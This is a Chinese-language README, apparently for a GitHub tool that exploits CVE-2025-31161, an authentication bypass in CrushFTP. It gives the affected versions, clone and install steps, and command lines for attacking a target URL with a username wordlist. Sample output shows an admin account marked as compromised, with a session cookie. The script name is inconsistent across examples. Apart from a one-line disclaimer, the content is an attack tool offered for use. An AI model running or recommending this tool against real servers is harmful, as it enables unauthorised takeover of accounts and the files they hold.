针对存在漏洞的 CrushFTP 版本中 CVE-2025-31161 漏洞的高级检测与利用工具。
CVE-2025-31161 是 CrushFTP Web 界面中的一个严重身份验证绕过漏洞。通过操纵 HTTP 授权头,未经验证的攻击者可以在不提供正确密码的情况下,以任意有效用户名获得完全访问权限。
受影响版本
CrushFTP 9.3.8
CrushFTP 9.3.9
CrushFTP 9.3.10
CrushFTP 9.3.11
CrushFTP 9.3.12
早于 9.3.12.5 的 CrushFTP 企业版
Python 3.8+
所需包:
pip install requests colorama urllib3
pip install requests colorama urllib3
git clone https://github.com/TX-One/CVE-2025-31161.git
cd CVE-2025-31161
python3 tx-crush.py -h
python3 CVE-2025-31161.py -t https://target:8080 -u users.txt -o results.json
-h, --help 显示此帮助信息并退出
-t, --target TARGET 目标 URL(例如 https://example.com:8080)
-u, --users USERS 包含用户名列表的文件
-o, --output OUTPUT 输出 JSON 文件
-T, --threads THREADS 线程数(默认:5)
--no-ssl 禁用 SSL 验证
--timeout TIMEOUT 请求超时时间(默认:15)
--retries RETRIES 重试次数(默认:3)
--force 绕过版本检查
python3 exploit.py
-t https://vulnerable-server.com:8000
-u ./wordlists/common_users.txt
-o ./results/compromised.json
-T 10
--retries 5
--timeout 20
[
{
"target": "https://victim:8080",
"user": "admin",
"success": true,
"method": "Bearer",
"cookies": {"sessionID": "a1b2c3..."},
"server_version": "CrushFTP/9.3.12"
}
]
[
{
"target": "http://victim:8080",
"user": "admin",
"success": false
}
]
免责声明: 本项目仅供教育和安全研究目的使用。使用时需承担相应责任。